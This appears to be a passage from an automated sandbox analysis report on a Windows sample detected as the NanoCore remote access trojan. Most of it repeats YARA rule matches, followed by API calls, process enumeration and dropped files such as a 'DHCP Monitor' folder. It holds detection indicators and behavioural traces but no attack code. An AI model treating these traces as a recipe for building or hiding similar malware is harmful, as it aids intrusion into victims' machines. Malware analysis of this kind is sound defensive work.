Source: 2.2.RegSvcs.exe.60b0000.11.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 12.2.RegSvcs.exe.448b041.5.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 12.2.RegSvcs.exe.448b041.5.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 11.3.nfiuc.pif.474baa0.5.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 11.3.nfiuc.pif.474baa0.5.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 11.3.nfiuc.pif.474baa0.5.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 12.2.RegSvcs.exe.44807ce.4.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 12.2.RegSvcs.exe.44807ce.4.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 12.2.RegSvcs.exe.44807ce.4.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 2.2.RegSvcs.exe.28f3490.2.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 2.2.RegSvcs.exe.28f3490.2.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 11.3.nfiuc.pif.46e2a90.8.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 11.3.nfiuc.pif.46e2a90.8.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 11.3.nfiuc.pif.46e2a90.8.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 1.3.nfiuc.pif.4272830.1.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 1.3.nfiuc.pif.4272830.1.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.3.nfiuc.pif.4272830.1.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 12.2.RegSvcs.exe.3499650.2.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 12.2.RegSvcs.exe.3499650.2.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 11.3.nfiuc.pif.474baa0.6.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 11.3.nfiuc.pif.474baa0.6.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 11.3.nfiuc.pif.474baa0.6.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 1.3.nfiuc.pif.4272830.2.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 1.3.nfiuc.pif.4272830.2.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.3.nfiuc.pif.4272830.2.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 11.3.nfiuc.pif.4679e70.2.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 11.3.nfiuc.pif.4679e70.2.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 11.3.nfiuc.pif.4679e70.2.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 12.2.RegSvcs.exe.448b041.5.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 12.2.RegSvcs.exe.448b041.5.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.RegSvcs.exe.60b4629.12.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 2.2.RegSvcs.exe.60b4629.12.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 11.3.nfiuc.pif.4645668.3.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 11.3.nfiuc.pif.4645668.3.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 11.3.nfiuc.pif.4645668.3.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 2.2.RegSvcs.exe.60b0000.11.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 2.2.RegSvcs.exe.60b0000.11.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.RegSvcs.exe.500000.1.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 2.2.RegSvcs.exe.500000.1.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.RegSvcs.exe.500000.1.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 1.3.nfiuc.pif.41d4c00.0.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 1.3.nfiuc.pif.41d4c00.0.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.3.nfiuc.pif.41d4c00.0.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 2.2.RegSvcs.exe.6010000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 2.2.RegSvcs.exe.6010000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 12.2.RegSvcs.exe.d00000.1.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 12.2.RegSvcs.exe.d00000.1.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 12.2.RegSvcs.exe.d00000.1.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 2.2.RegSvcs.exe.28f82f0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 2.2.RegSvcs.exe.391b041.6.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 2.2.RegSvcs.exe.391b041.6.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.RegSvcs.exe.39107ce.5.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 2.2.RegSvcs.exe.39107ce.5.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.RegSvcs.exe.39107ce.5.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 12.2.RegSvcs.exe.3499650.2.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 12.2.RegSvcs.exe.3499650.2.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 11.3.nfiuc.pif.46ae678.1.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 11.3.nfiuc.pif.46ae678.1.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 11.3.nfiuc.pif.46ae678.1.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 11.3.nfiuc.pif.46e2a90.9.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 11.3.nfiuc.pif.46e2a90.9.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 11.3.nfiuc.pif.46e2a90.9.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 11.3.nfiuc.pif.46e2a90.7.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 11.3.nfiuc.pif.46e2a90.7.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 11.3.nfiuc.pif.46e2a90.7.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 2.2.RegSvcs.exe.39107ce.5.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 2.2.RegSvcs.exe.39107ce.5.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 11.3.nfiuc.pif.474baa0.6.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 11.3.nfiuc.pif.474baa0.6.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 11.3.nfiuc.pif.474baa0.6.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 11.3.nfiuc.pif.46e2a90.4.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 11.3.nfiuc.pif.46e2a90.4.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 11.3.nfiuc.pif.46e2a90.4.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 2.2.RegSvcs.exe.28f3490.2.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/

Source: 2.2.RegSvcs.exe.500000.1.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 2.2.RegSvcs.exe.500000.1.unpack, u0023u003dqVxXNKnhAcArgJoGGYXiyyQu003du003d.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 2.2.RegSvcs.exe.500000.1.unpack, u0023u003dqVxXNKnhAcArgJoGGYXiyyQu003du003d.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 12.2.RegSvcs.exe.d00000.1.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 12.2.RegSvcs.exe.d00000.1.unpack, u0023u003dqVxXNKnhAcArgJoGGYXiyyQu003du003d.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 12.2.RegSvcs.exe.d00000.1.unpack, u0023u003dqVxXNKnhAcArgJoGGYXiyyQu003du003d.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 2.2.RegSvcs.exe.500000.1.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
Source: 2.2.RegSvcs.exe.500000.1.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.cs	Security API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 12.2.RegSvcs.exe.d00000.1.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
Source: 12.2.RegSvcs.exe.d00000.1.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.cs	Security API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)

Source: classification engine

Classification label: mal100.troj.evad.winEXE@21/35@11/2

Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe

Code function: 0_2_01356D06 GetLastError,FormatMessageW,

0_2_01356D06

Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif

Code function: 1_2_00F13EC5 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,__wsplitpath,_wcscat,__wcsicoll,CloseHandle,

1_2_00F13EC5

Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe

Code function: 0_2_0136963A FindResourceW,DeleteObject,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

0_2_0136963A

Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe

File created: C:\Program Files (x86)\DHCP Monitor

Jump to behavior

Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe

File created: C:\Users\user\AppData\Roaming\22032878

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4808:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5896:120:WilError_01
